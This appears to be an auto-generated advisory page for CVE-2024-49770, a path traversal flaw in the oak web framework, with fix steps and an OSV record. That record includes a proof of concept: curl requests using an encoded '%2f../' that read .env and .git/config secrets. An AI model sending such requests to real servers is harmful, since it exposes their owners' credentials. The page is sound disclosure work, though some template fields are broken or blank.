CVE-2024-49770: @oakserver/oak Path Traversal Vulnerability
HIGHCVE-2024-49770 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-35: Path Traversal: '.../...//') affecting @oakserver/oak libraries in the npm ecosystem. The issue involves path traversal in oak allows transfer of hidden files within the served root directory. Remediation is available in the latest vendor maintenance releases.
CVE-2024-49770 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2024-49770
To remediate this vulnerability, upgrade all affected @oakserver/oak dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @oakserver/oak@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @oakserver/oak
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-49770, inspect your project dependencies using npm:
npm ls @oakserver/oak
Analyze the terminal output to locate any version of @oakserver/oak in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls @oakserver/oak command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-35: Path Traversal: '.../...//', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory. In @oakserver/oak, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-49770 Affected @oakserver/oak Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@oakserver/oak
|
npm |
≤ 14.1.0
|
|
References
Frequently Asked Questions
What is CVE-2024-49770?
Which @oakserver/oak versions are affected?
What version fixes CVE-2024-49770?
Is @oakserver/oak affected?
What is the CVSS score of CVE-2024-49770?
What CWE is associated with CVE-2024-49770?
How can I check npm dependencies for CVE-2024-49770?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qm92-93fv-vh7m",
"modified" : "2024-11-01T21:37:10Z",
"published" : "2024-11-01T21:37:10Z",
"aliases" : [ "CVE-2024-49770" ],
"summary" : "Path traversal in oak allows transfer of hidden files within the served root directory",
"details" : "### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) => {\n try {\n await context.send({\n root: './root',\n hidden: false, // default\n });\n } catch {\n await next();\n }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops > root/.env\necho oops > root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@oakserver/oak"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "14.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-49770"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oakserver/oak"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-35" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-11-01T21:37:10Z",
"nvd_published_at" : "2024-11-01T17:15:17Z"
}
}